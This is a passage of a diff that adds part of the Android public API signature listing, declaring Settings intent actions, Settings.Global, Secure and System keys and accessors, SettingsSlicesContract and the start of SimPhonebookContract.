+    field public static final String ACTION_MANAGE_UNKNOWN_APP_SOURCES = "android.settings.MANAGE_UNKNOWN_APP_SOURCES";
+    field public static final String ACTION_MANAGE_WRITE_SETTINGS = "android.settings.action.MANAGE_WRITE_SETTINGS";
+    field public static final String ACTION_MEMORY_CARD_SETTINGS = "android.settings.MEMORY_CARD_SETTINGS";
+    field public static final String ACTION_NETWORK_OPERATOR_SETTINGS = "android.settings.NETWORK_OPERATOR_SETTINGS";
+    field public static final String ACTION_NFCSHARING_SETTINGS = "android.settings.NFCSHARING_SETTINGS";
+    field public static final String ACTION_NFC_PAYMENT_SETTINGS = "android.settings.NFC_PAYMENT_SETTINGS";
+    field public static final String ACTION_NFC_SETTINGS = "android.settings.NFC_SETTINGS";
+    field public static final String ACTION_NIGHT_DISPLAY_SETTINGS = "android.settings.NIGHT_DISPLAY_SETTINGS";
+    field public static final String ACTION_NOTIFICATION_ASSISTANT_SETTINGS = "android.settings.NOTIFICATION_ASSISTANT_SETTINGS";
+    field public static final String ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS = "android.settings.NOTIFICATION_LISTENER_DETAIL_SETTINGS";
+    field public static final String ACTION_NOTIFICATION_LISTENER_SETTINGS = "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
+    field public static final String ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS = "android.settings.NOTIFICATION_POLICY_ACCESS_SETTINGS";
+    field public static final String ACTION_PRINT_SETTINGS = "android.settings.ACTION_PRINT_SETTINGS";
+    field public static final String ACTION_PRIVACY_SETTINGS = "android.settings.PRIVACY_SETTINGS";
+    field public static final String ACTION_PROCESS_WIFI_EASY_CONNECT_URI = "android.settings.PROCESS_WIFI_EASY_CONNECT_URI";
+    field public static final String ACTION_QUICK_ACCESS_WALLET_SETTINGS = "android.settings.QUICK_ACCESS_WALLET_SETTINGS";
+    field public static final String ACTION_QUICK_LAUNCH_SETTINGS = "android.settings.QUICK_LAUNCH_SETTINGS";
+    field public static final String ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS = "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS";
+    field public static final String ACTION_REQUEST_MANAGE_MEDIA = "android.settings.REQUEST_MANAGE_MEDIA";
+    field public static final String ACTION_REQUEST_SCHEDULE_EXACT_ALARM = "android.settings.REQUEST_SCHEDULE_EXACT_ALARM";
+    field public static final String ACTION_REQUEST_SET_AUTOFILL_SERVICE = "android.settings.REQUEST_SET_AUTOFILL_SERVICE";
+    field public static final String ACTION_SEARCH_SETTINGS = "android.search.action.SEARCH_SETTINGS";
+    field public static final String ACTION_SECURITY_SETTINGS = "android.settings.SECURITY_SETTINGS";
+    field public static final String ACTION_SETTINGS = "android.settings.SETTINGS";
+    field public static final String ACTION_SHOW_REGULATORY_INFO = "android.settings.SHOW_REGULATORY_INFO";
+    field public static final String ACTION_SHOW_WORK_POLICY_INFO = "android.settings.SHOW_WORK_POLICY_INFO";
+    field public static final String ACTION_SOUND_SETTINGS = "android.settings.SOUND_SETTINGS";
+    field @Deprecated public static final String ACTION_STORAGE_VOLUME_ACCESS_SETTINGS = "android.settings.STORAGE_VOLUME_ACCESS_SETTINGS";
+    field public static final String ACTION_SYNC_SETTINGS = "android.settings.SYNC_SETTINGS";
+    field public static final String ACTION_USAGE_ACCESS_SETTINGS = "android.settings.USAGE_ACCESS_SETTINGS";
+    field public static final String ACTION_USER_DICTIONARY_SETTINGS = "android.settings.USER_DICTIONARY_SETTINGS";
+    field public static final String ACTION_VOICE_CONTROL_AIRPLANE_MODE = "android.settings.VOICE_CONTROL_AIRPLANE_MODE";
+    field public static final String ACTION_VOICE_CONTROL_BATTERY_SAVER_MODE = "android.settings.VOICE_CONTROL_BATTERY_SAVER_MODE";
+    field public static final String ACTION_VOICE_CONTROL_DO_NOT_DISTURB_MODE = "android.settings.VOICE_CONTROL_DO_NOT_DISTURB_MODE";
+    field public static final String ACTION_VOICE_INPUT_SETTINGS = "android.settings.VOICE_INPUT_SETTINGS";
+    field public static final String ACTION_VPN_SETTINGS = "android.settings.VPN_SETTINGS";
+    field public static final String ACTION_VR_LISTENER_SETTINGS = "android.settings.VR_LISTENER_SETTINGS";
+    field public static final String ACTION_WEBVIEW_SETTINGS = "android.settings.WEBVIEW_SETTINGS";
+    field public static final String ACTION_WIFI_ADD_NETWORKS = "android.settings.WIFI_ADD_NETWORKS";
+    field public static final String ACTION_WIFI_IP_SETTINGS = "android.settings.WIFI_IP_SETTINGS";
+    field public static final String ACTION_WIFI_SETTINGS = "android.settings.WIFI_SETTINGS";
+    field public static final String ACTION_WIRELESS_SETTINGS = "android.settings.WIRELESS_SETTINGS";
+    field public static final String ACTION_ZEN_MODE_PRIORITY_SETTINGS = "android.settings.ZEN_MODE_PRIORITY_SETTINGS";
+    field public static final int ADD_WIFI_RESULT_ADD_OR_UPDATE_FAILED = 1; // 0x1
+    field public static final int ADD_WIFI_RESULT_ALREADY_EXISTS = 2; // 0x2
+    field public static final int ADD_WIFI_RESULT_SUCCESS = 0; // 0x0
+    field public static final String AUTHORITY = "settings";
+    field public static final String EXTRA_ACCOUNT_TYPES = "account_types";
+    field public static final String EXTRA_AIRPLANE_MODE_ENABLED = "airplane_mode_enabled";
+    field public static final String EXTRA_APP_PACKAGE = "android.provider.extra.APP_PACKAGE";
+    field public static final String EXTRA_AUTHORITIES = "authorities";
+    field public static final String EXTRA_BATTERY_SAVER_MODE_ENABLED = "android.settings.extra.battery_saver_mode_enabled";
+    field public static final String EXTRA_BIOMETRIC_AUTHENTICATORS_ALLOWED = "android.provider.extra.BIOMETRIC_AUTHENTICATORS_ALLOWED";
+    field public static final String EXTRA_CHANNEL_FILTER_LIST = "android.provider.extra.CHANNEL_FILTER_LIST";
+    field public static final String EXTRA_CHANNEL_ID = "android.provider.extra.CHANNEL_ID";
+    field public static final String EXTRA_CONVERSATION_ID = "android.provider.extra.CONVERSATION_ID";
+    field public static final String EXTRA_DO_NOT_DISTURB_MODE_ENABLED = "android.settings.extra.do_not_disturb_mode_enabled";
+    field public static final String EXTRA_DO_NOT_DISTURB_MODE_MINUTES = "android.settings.extra.do_not_disturb_mode_minutes";
+    field public static final String EXTRA_EASY_CONNECT_ATTEMPTED_SSID = "android.provider.extra.EASY_CONNECT_ATTEMPTED_SSID";
+    field public static final String EXTRA_EASY_CONNECT_BAND_LIST = "android.provider.extra.EASY_CONNECT_BAND_LIST";
+    field public static final String EXTRA_EASY_CONNECT_CHANNEL_LIST = "android.provider.extra.EASY_CONNECT_CHANNEL_LIST";
+    field public static final String EXTRA_EASY_CONNECT_ERROR_CODE = "android.provider.extra.EASY_CONNECT_ERROR_CODE";
+    field public static final String EXTRA_INPUT_METHOD_ID = "input_method_id";
+    field public static final String EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME = "android.provider.extra.NOTIFICATION_LISTENER_COMPONENT_NAME";
+    field public static final String EXTRA_SUB_ID = "android.provider.extra.SUB_ID";
+    field public static final String EXTRA_WIFI_NETWORK_LIST = "android.provider.extra.WIFI_NETWORK_LIST";
+    field public static final String EXTRA_WIFI_NETWORK_RESULT_LIST = "android.provider.extra.WIFI_NETWORK_RESULT_LIST";
+    field public static final String INTENT_CATEGORY_USAGE_ACCESS_CONFIG = "android.intent.category.USAGE_ACCESS_CONFIG";
+    field public static final String METADATA_USAGE_ACCESS_REASON = "android.settings.metadata.USAGE_ACCESS_REASON";
+  }
+
+  public static final class Settings.Global extends android.provider.Settings.NameValueTable {
+    ctor public Settings.Global();
+    method public static float getFloat(android.content.ContentResolver, String, float);
+    method public static float getFloat(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static int getInt(android.content.ContentResolver, String, int);
+    method public static int getInt(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static long getLong(android.content.ContentResolver, String, long);
+    method public static long getLong(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static String getString(android.content.ContentResolver, String);
+    method public static android.net.Uri getUriFor(String);
+    method public static boolean putFloat(android.content.ContentResolver, String, float);
+    method public static boolean putInt(android.content.ContentResolver, String, int);
+    method public static boolean putLong(android.content.ContentResolver, String, long);
+    method public static boolean putString(android.content.ContentResolver, String, String);
+    field public static final String ADB_ENABLED = "adb_enabled";
+    field public static final String AIRPLANE_MODE_ON = "airplane_mode_on";
+    field public static final String AIRPLANE_MODE_RADIOS = "airplane_mode_radios";
+    field public static final String ALWAYS_FINISH_ACTIVITIES = "always_finish_activities";
+    field public static final String ANIMATOR_DURATION_SCALE = "animator_duration_scale";
+    field public static final String APPLY_RAMPING_RINGER = "apply_ramping_ringer";
+    field public static final String AUTO_TIME = "auto_time";
+    field public static final String AUTO_TIME_ZONE = "auto_time_zone";
+    field public static final String BLUETOOTH_ON = "bluetooth_on";
+    field public static final String BOOT_COUNT = "boot_count";
+    field public static final String CONTACT_METADATA_SYNC_ENABLED = "contact_metadata_sync_enabled";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATA_ROAMING = "data_roaming";
+    field public static final String DEBUG_APP = "debug_app";
+    field public static final String DEVELOPMENT_SETTINGS_ENABLED = "development_settings_enabled";
+    field public static final String DEVICE_NAME = "device_name";
+    field public static final String DEVICE_PROVISIONED = "device_provisioned";
+    field public static final String HTTP_PROXY = "http_proxy";
+    field @Deprecated public static final String INSTALL_NON_MARKET_APPS = "install_non_market_apps";
+    field public static final String MODE_RINGER = "mode_ringer";
+    field public static final String NETWORK_PREFERENCE = "network_preference";
+    field public static final String RADIO_BLUETOOTH = "bluetooth";
+    field public static final String RADIO_CELL = "cell";
+    field public static final String RADIO_NFC = "nfc";
+    field public static final String RADIO_WIFI = "wifi";
+    field @Deprecated public static final String SHOW_PROCESSES = "show_processes";
+    field public static final String STAY_ON_WHILE_PLUGGED_IN = "stay_on_while_plugged_in";
+    field public static final String TRANSITION_ANIMATION_SCALE = "transition_animation_scale";
+    field public static final String USB_MASS_STORAGE_ENABLED = "usb_mass_storage_enabled";
+    field public static final String USE_GOOGLE_MAIL = "use_google_mail";
+    field public static final String WAIT_FOR_DEBUGGER = "wait_for_debugger";
+    field public static final String WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN = "wifi_device_owner_configs_lockdown";
+    field public static final String WIFI_MAX_DHCP_RETRY_COUNT = "wifi_max_dhcp_retry_count";
+    field public static final String WIFI_MOBILE_DATA_TRANSITION_WAKELOCK_TIMEOUT_MS = "wifi_mobile_data_transition_wakelock_timeout_ms";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_NOTIFICATION_ON = "wifi_networks_available_notification_on";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_REPEAT_DELAY = "wifi_networks_available_repeat_delay";
+    field @Deprecated public static final String WIFI_NUM_OPEN_NETWORKS_KEPT = "wifi_num_open_networks_kept";
+    field public static final String WIFI_ON = "wifi_on";
+    field @Deprecated public static final String WIFI_SLEEP_POLICY = "wifi_sleep_policy";
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_DEFAULT = 0; // 0x0
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_NEVER = 2; // 0x2
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_NEVER_WHILE_PLUGGED = 1; // 0x1
+    field public static final String WIFI_WATCHDOG_ON = "wifi_watchdog_on";
+    field public static final String WINDOW_ANIMATION_SCALE = "window_animation_scale";
+  }
+
+  public static class Settings.NameValueTable implements android.provider.BaseColumns {
+    ctor public Settings.NameValueTable();
+    method public static android.net.Uri getUriFor(android.net.Uri, String);
+    method protected static boolean putString(android.content.ContentResolver, android.net.Uri, String, String);
+    field public static final String NAME = "name";
+    field public static final String VALUE = "value";
+  }
+
+  public static final class Settings.Panel {
+    field public static final String ACTION_INTERNET_CONNECTIVITY = "android.settings.panel.action.INTERNET_CONNECTIVITY";
+    field public static final String ACTION_NFC = "android.settings.panel.action.NFC";
+    field public static final String ACTION_VOLUME = "android.settings.panel.action.VOLUME";
+    field public static final String ACTION_WIFI = "android.settings.panel.action.WIFI";
+  }
+
+  public static final class Settings.Secure extends android.provider.Settings.NameValueTable {
+    ctor public Settings.Secure();
+    method public static float getFloat(android.content.ContentResolver, String, float);
+    method public static float getFloat(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static int getInt(android.content.ContentResolver, String, int);
+    method public static int getInt(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static long getLong(android.content.ContentResolver, String, long);
+    method public static long getLong(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static String getString(android.content.ContentResolver, String);
+    method public static android.net.Uri getUriFor(String);
+    method @Deprecated public static boolean isLocationProviderEnabled(android.content.ContentResolver, String);
+    method public static boolean putFloat(android.content.ContentResolver, String, float);
+    method public static boolean putInt(android.content.ContentResolver, String, int);
+    method public static boolean putLong(android.content.ContentResolver, String, long);
+    method public static boolean putString(android.content.ContentResolver, String, String);
+    method @Deprecated public static void setLocationProviderEnabled(android.content.ContentResolver, String, boolean);
+    field public static final String ACCESSIBILITY_DISPLAY_INVERSION_ENABLED = "accessibility_display_inversion_enabled";
+    field public static final String ACCESSIBILITY_ENABLED = "accessibility_enabled";
+    field @Deprecated public static final String ACCESSIBILITY_SPEAK_PASSWORD = "speak_password";
+    field @Deprecated public static final String ADB_ENABLED = "adb_enabled";
+    field public static final String ALLOWED_GEOLOCATION_ORIGINS = "allowed_geolocation_origins";
+    field @Deprecated public static final String ALLOW_MOCK_LOCATION = "mock_location";
+    field public static final String ANDROID_ID = "android_id";
+    field @Deprecated public static final String BACKGROUND_DATA = "background_data";
+    field @Deprecated public static final String BLUETOOTH_ON = "bluetooth_on";
+    field public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DATA_ROAMING = "data_roaming";
+    field public static final String DEFAULT_INPUT_METHOD = "default_input_method";
+    field @Deprecated public static final String DEVELOPMENT_SETTINGS_ENABLED = "development_settings_enabled";
+    field @Deprecated public static final String DEVICE_PROVISIONED = "device_provisioned";
+    field public static final String ENABLED_ACCESSIBILITY_SERVICES = "enabled_accessibility_services";
+    field public static final String ENABLED_INPUT_METHODS = "enabled_input_methods";
+    field @Deprecated public static final String HTTP_PROXY = "http_proxy";
+    field public static final String INPUT_METHOD_SELECTOR_VISIBILITY = "input_method_selector_visibility";
+    field @Deprecated public static final String INSTALL_NON_MARKET_APPS = "install_non_market_apps";
+    field @Deprecated public static final String LOCATION_MODE = "location_mode";
+    field @Deprecated public static final int LOCATION_MODE_BATTERY_SAVING = 2; // 0x2
+    field @Deprecated public static final int LOCATION_MODE_HIGH_ACCURACY = 3; // 0x3
+    field public static final int LOCATION_MODE_OFF = 0; // 0x0
+    field @Deprecated public static final int LOCATION_MODE_SENSORS_ONLY = 1; // 0x1
+    field @Deprecated public static final String LOCATION_PROVIDERS_ALLOWED = "location_providers_allowed";
+    field @Deprecated public static final String LOCK_PATTERN_ENABLED = "lock_pattern_autolock";
+    field @Deprecated public static final String LOCK_PATTERN_TACTILE_FEEDBACK_ENABLED = "lock_pattern_tactile_feedback_enabled";
+    field @Deprecated public static final String LOCK_PATTERN_VISIBLE = "lock_pattern_visible_pattern";
+    field @Deprecated public static final String LOGGING_ID = "logging_id";
+    field @Deprecated public static final String NETWORK_PREFERENCE = "network_preference";
+    field public static final String PARENTAL_CONTROL_ENABLED = "parental_control_enabled";
+    field public static final String PARENTAL_CONTROL_LAST_UPDATE = "parental_control_last_update";
+    field public static final String PARENTAL_CONTROL_REDIRECT_URL = "parental_control_redirect_url";
+    field public static final String RTT_CALLING_MODE = "rtt_calling_mode";
+    field public static final String SECURE_FRP_MODE = "secure_frp_mode";
+    field public static final String SELECTED_INPUT_METHOD_SUBTYPE = "selected_input_method_subtype";
+    field public static final String SETTINGS_CLASSNAME = "settings_classname";
+    field public static final String SKIP_FIRST_USE_HINTS = "skip_first_use_hints";
+    field public static final String TOUCH_EXPLORATION_ENABLED = "touch_exploration_enabled";
+    field @Deprecated public static final String TTS_DEFAULT_COUNTRY = "tts_default_country";
+    field @Deprecated public static final String TTS_DEFAULT_LANG = "tts_default_lang";
+    field public static final String TTS_DEFAULT_PITCH = "tts_default_pitch";
+    field public static final String TTS_DEFAULT_RATE = "tts_default_rate";
+    field public static final String TTS_DEFAULT_SYNTH = "tts_default_synth";
+    field @Deprecated public static final String TTS_DEFAULT_VARIANT = "tts_default_variant";
+    field public static final String TTS_ENABLED_PLUGINS = "tts_enabled_plugins";
+    field @Deprecated public static final String TTS_USE_DEFAULTS = "tts_use_defaults";
+    field @Deprecated public static final String USB_MASS_STORAGE_ENABLED = "usb_mass_storage_enabled";
+    field @Deprecated public static final String USE_GOOGLE_MAIL = "use_google_mail";
+    field @Deprecated public static final String WIFI_MAX_DHCP_RETRY_COUNT = "wifi_max_dhcp_retry_count";
+    field @Deprecated public static final String WIFI_MOBILE_DATA_TRANSITION_WAKELOCK_TIMEOUT_MS = "wifi_mobile_data_transition_wakelock_timeout_ms";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_NOTIFICATION_ON = "wifi_networks_available_notification_on";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_REPEAT_DELAY = "wifi_networks_available_repeat_delay";
+    field @Deprecated public static final String WIFI_NUM_OPEN_NETWORKS_KEPT = "wifi_num_open_networks_kept";
+    field @Deprecated public static final String WIFI_ON = "wifi_on";
+    field @Deprecated public static final String WIFI_WATCHDOG_ACCEPTABLE_PACKET_LOSS_PERCENTAGE = "wifi_watchdog_acceptable_packet_loss_percentage";
+    field @Deprecated public static final String WIFI_WATCHDOG_AP_COUNT = "wifi_watchdog_ap_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_DELAY_MS = "wifi_watchdog_background_check_delay_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_ENABLED = "wifi_watchdog_background_check_enabled";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_TIMEOUT_MS = "wifi_watchdog_background_check_timeout_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_INITIAL_IGNORED_PING_COUNT = "wifi_watchdog_initial_ignored_ping_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_MAX_AP_CHECKS = "wifi_watchdog_max_ap_checks";
+    field @Deprecated public static final String WIFI_WATCHDOG_ON = "wifi_watchdog_on";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_COUNT = "wifi_watchdog_ping_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_DELAY_MS = "wifi_watchdog_ping_delay_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_TIMEOUT_MS = "wifi_watchdog_ping_timeout_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_WATCH_LIST = "wifi_watchdog_watch_list";
+  }
+
+  public static class Settings.SettingNotFoundException extends android.util.AndroidException {
+    ctor public Settings.SettingNotFoundException(String);
+  }
+
+  public static final class Settings.System extends android.provider.Settings.NameValueTable {
+    ctor public Settings.System();
+    method public static boolean canWrite(android.content.Context);
+    method public static void getConfiguration(android.content.ContentResolver, android.content.res.Configuration);
+    method public static float getFloat(android.content.ContentResolver, String, float);
+    method public static float getFloat(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static int getInt(android.content.ContentResolver, String, int);
+    method public static int getInt(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method public static long getLong(android.content.ContentResolver, String, long);
+    method public static long getLong(android.content.ContentResolver, String) throws android.provider.Settings.SettingNotFoundException;
+    method @Deprecated public static boolean getShowGTalkServiceStatus(android.content.ContentResolver);
+    method public static String getString(android.content.ContentResolver, String);
+    method public static android.net.Uri getUriFor(String);
+    method public static boolean putConfiguration(android.content.ContentResolver, android.content.res.Configuration);
+    method public static boolean putFloat(android.content.ContentResolver, String, float);
+    method public static boolean putInt(android.content.ContentResolver, String, int);
+    method public static boolean putLong(android.content.ContentResolver, String, long);
+    method public static boolean putString(android.content.ContentResolver, String, String);
+    method @Deprecated public static void setShowGTalkServiceStatus(android.content.ContentResolver, boolean);
+    field public static final String ACCELEROMETER_ROTATION = "accelerometer_rotation";
+    field @Deprecated public static final String ADB_ENABLED = "adb_enabled";
+    field @Deprecated public static final String AIRPLANE_MODE_ON = "airplane_mode_on";
+    field @Deprecated public static final String AIRPLANE_MODE_RADIOS = "airplane_mode_radios";
+    field public static final String ALARM_ALERT = "alarm_alert";
+    field @Deprecated public static final String ALWAYS_FINISH_ACTIVITIES = "always_finish_activities";
+    field @Deprecated public static final String ANDROID_ID = "android_id";
+    field @Deprecated public static final String ANIMATOR_DURATION_SCALE = "animator_duration_scale";
+    field @Deprecated public static final String AUTO_TIME = "auto_time";
+    field @Deprecated public static final String AUTO_TIME_ZONE = "auto_time_zone";
+    field public static final String BLUETOOTH_DISCOVERABILITY = "bluetooth_discoverability";
+    field public static final String BLUETOOTH_DISCOVERABILITY_TIMEOUT = "bluetooth_discoverability_timeout";
+    field @Deprecated public static final String BLUETOOTH_ON = "bluetooth_on";
+    field public static final android.net.Uri CONTENT_URI;
+    field @Deprecated public static final String DATA_ROAMING = "data_roaming";
+    field @Deprecated public static final String DATE_FORMAT = "date_format";
+    field @Deprecated public static final String DEBUG_APP = "debug_app";
+    field public static final android.net.Uri DEFAULT_ALARM_ALERT_URI;
+    field public static final android.net.Uri DEFAULT_NOTIFICATION_URI;
+    field public static final android.net.Uri DEFAULT_RINGTONE_URI;
+    field @Deprecated public static final String DEVICE_PROVISIONED = "device_provisioned";
+    field @Deprecated public static final String DIM_SCREEN = "dim_screen";
+    field public static final String DTMF_TONE_TYPE_WHEN_DIALING = "dtmf_tone_type";
+    field public static final String DTMF_TONE_WHEN_DIALING = "dtmf_tone";
+    field public static final String END_BUTTON_BEHAVIOR = "end_button_behavior";
+    field public static final String FONT_SCALE = "font_scale";
+    field public static final String HAPTIC_FEEDBACK_ENABLED = "haptic_feedback_enabled";
+    field @Deprecated public static final String HTTP_PROXY = "http_proxy";
+    field @Deprecated public static final String INSTALL_NON_MARKET_APPS = "install_non_market_apps";
+    field @Deprecated public static final String LOCATION_PROVIDERS_ALLOWED = "location_providers_allowed";
+    field @Deprecated public static final String LOCK_PATTERN_ENABLED = "lock_pattern_autolock";
+    field @Deprecated public static final String LOCK_PATTERN_TACTILE_FEEDBACK_ENABLED = "lock_pattern_tactile_feedback_enabled";
+    field @Deprecated public static final String LOCK_PATTERN_VISIBLE = "lock_pattern_visible_pattern";
+    field @Deprecated public static final String LOGGING_ID = "logging_id";
+    field @Deprecated public static final String MODE_RINGER = "mode_ringer";
+    field public static final String MODE_RINGER_STREAMS_AFFECTED = "mode_ringer_streams_affected";
+    field public static final String MUTE_STREAMS_AFFECTED = "mute_streams_affected";
+    field @Deprecated public static final String NETWORK_PREFERENCE = "network_preference";
+    field @Deprecated public static final String NEXT_ALARM_FORMATTED = "next_alarm_formatted";
+    field public static final String NOTIFICATION_SOUND = "notification_sound";
+    field @Deprecated public static final String PARENTAL_CONTROL_ENABLED = "parental_control_enabled";
+    field @Deprecated public static final String PARENTAL_CONTROL_LAST_UPDATE = "parental_control_last_update";
+    field @Deprecated public static final String PARENTAL_CONTROL_REDIRECT_URL = "parental_control_redirect_url";
+    field @Deprecated public static final String RADIO_BLUETOOTH = "bluetooth";
+    field @Deprecated public static final String RADIO_CELL = "cell";
+    field @Deprecated public static final String RADIO_NFC = "nfc";
+    field @Deprecated public static final String RADIO_WIFI = "wifi";
+    field public static final String RINGTONE = "ringtone";
+    field public static final String SCREEN_BRIGHTNESS = "screen_brightness";
+    field public static final String SCREEN_BRIGHTNESS_MODE = "screen_brightness_mode";
+    field public static final int SCREEN_BRIGHTNESS_MODE_AUTOMATIC = 1; // 0x1
+    field public static final int SCREEN_BRIGHTNESS_MODE_MANUAL = 0; // 0x0
+    field public static final String SCREEN_OFF_TIMEOUT = "screen_off_timeout";
+    field @Deprecated public static final String SETTINGS_CLASSNAME = "settings_classname";
+    field public static final String SETUP_WIZARD_HAS_RUN = "setup_wizard_has_run";
+    field public static final String SHOW_GTALK_SERVICE_STATUS = "SHOW_GTALK_SERVICE_STATUS";
+    field @Deprecated public static final String SHOW_PROCESSES = "show_processes";
+    field @Deprecated public static final String SHOW_WEB_SUGGESTIONS = "show_web_suggestions";
+    field public static final String SOUND_EFFECTS_ENABLED = "sound_effects_enabled";
+    field @Deprecated public static final String STAY_ON_WHILE_PLUGGED_IN = "stay_on_while_plugged_in";
+    field public static final String TEXT_AUTO_CAPS = "auto_caps";
+    field public static final String TEXT_AUTO_PUNCTUATE = "auto_punctuate";
+    field public static final String TEXT_AUTO_REPLACE = "auto_replace";
+    field public static final String TEXT_SHOW_PASSWORD = "show_password";
+    field public static final String TIME_12_24 = "time_12_24";
+    field @Deprecated public static final String TRANSITION_ANIMATION_SCALE = "transition_animation_scale";
+    field @Deprecated public static final String USB_MASS_STORAGE_ENABLED = "usb_mass_storage_enabled";
+    field public static final String USER_ROTATION = "user_rotation";
+    field @Deprecated public static final String USE_GOOGLE_MAIL = "use_google_mail";
+    field public static final String VIBRATE_ON = "vibrate_on";
+    field public static final String VIBRATE_WHEN_RINGING = "vibrate_when_ringing";
+    field @Deprecated public static final String WAIT_FOR_DEBUGGER = "wait_for_debugger";
+    field @Deprecated public static final String WALLPAPER_ACTIVITY = "wallpaper_activity";
+    field @Deprecated public static final String WIFI_MAX_DHCP_RETRY_COUNT = "wifi_max_dhcp_retry_count";
+    field @Deprecated public static final String WIFI_MOBILE_DATA_TRANSITION_WAKELOCK_TIMEOUT_MS = "wifi_mobile_data_transition_wakelock_timeout_ms";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_NOTIFICATION_ON = "wifi_networks_available_notification_on";
+    field @Deprecated public static final String WIFI_NETWORKS_AVAILABLE_REPEAT_DELAY = "wifi_networks_available_repeat_delay";
+    field @Deprecated public static final String WIFI_NUM_OPEN_NETWORKS_KEPT = "wifi_num_open_networks_kept";
+    field @Deprecated public static final String WIFI_ON = "wifi_on";
+    field @Deprecated public static final String WIFI_SLEEP_POLICY = "wifi_sleep_policy";
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_DEFAULT = 0; // 0x0
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_NEVER = 2; // 0x2
+    field @Deprecated public static final int WIFI_SLEEP_POLICY_NEVER_WHILE_PLUGGED = 1; // 0x1
+    field @Deprecated public static final String WIFI_STATIC_DNS1 = "wifi_static_dns1";
+    field @Deprecated public static final String WIFI_STATIC_DNS2 = "wifi_static_dns2";
+    field @Deprecated public static final String WIFI_STATIC_GATEWAY = "wifi_static_gateway";
+    field @Deprecated public static final String WIFI_STATIC_IP = "wifi_static_ip";
+    field @Deprecated public static final String WIFI_STATIC_NETMASK = "wifi_static_netmask";
+    field @Deprecated public static final String WIFI_USE_STATIC_IP = "wifi_use_static_ip";
+    field @Deprecated public static final String WIFI_WATCHDOG_ACCEPTABLE_PACKET_LOSS_PERCENTAGE = "wifi_watchdog_acceptable_packet_loss_percentage";
+    field @Deprecated public static final String WIFI_WATCHDOG_AP_COUNT = "wifi_watchdog_ap_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_DELAY_MS = "wifi_watchdog_background_check_delay_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_ENABLED = "wifi_watchdog_background_check_enabled";
+    field @Deprecated public static final String WIFI_WATCHDOG_BACKGROUND_CHECK_TIMEOUT_MS = "wifi_watchdog_background_check_timeout_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_INITIAL_IGNORED_PING_COUNT = "wifi_watchdog_initial_ignored_ping_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_MAX_AP_CHECKS = "wifi_watchdog_max_ap_checks";
+    field @Deprecated public static final String WIFI_WATCHDOG_ON = "wifi_watchdog_on";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_COUNT = "wifi_watchdog_ping_count";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_DELAY_MS = "wifi_watchdog_ping_delay_ms";
+    field @Deprecated public static final String WIFI_WATCHDOG_PING_TIMEOUT_MS = "wifi_watchdog_ping_timeout_ms";
+    field @Deprecated public static final String WINDOW_ANIMATION_SCALE = "window_animation_scale";
+  }
+
+  public class SettingsSlicesContract {
+    field public static final String AUTHORITY = "android.settings.slices";
+    field public static final android.net.Uri BASE_URI;
+    field public static final String KEY_AIRPLANE_MODE = "airplane_mode";
+    field public static final String KEY_BATTERY_SAVER = "battery_saver";
+    field public static final String KEY_BLUETOOTH = "bluetooth";
+    field public static final String KEY_LOCATION = "location";
+    field public static final String KEY_WIFI = "wifi";
+    field public static final String PATH_SETTING_ACTION = "action";
+    field public static final String PATH_SETTING_INTENT = "intent";
+  }
+
+  public final class SimPhonebookContract {
+    field public static final String AUTHORITY = "com.android.simphonebook";
+    field @NonNull public static final android.net.Uri AUTHORITY_URI;
+  }
+
+  public static final class SimPhonebookContract.ElementaryFiles {
+    method @NonNull public static android.net.Uri getItemUri(int, int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/sim-elementary-file";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/sim-elementary-file";
+    field @NonNull public static final android.net.Uri CONTENT_URI;
+    field public static final int EF_ADN = 1; // 0x1
+    field public static final int EF_FDN = 2; // 0x2
+    field public static final int EF_SDN = 3; // 0x3
+    field public static final String EF_TYPE = "ef_type";
+    field public static final int EF_UNKNOWN = 0; // 0x0
+    field public static final String MAX_RECORDS = "max_records";
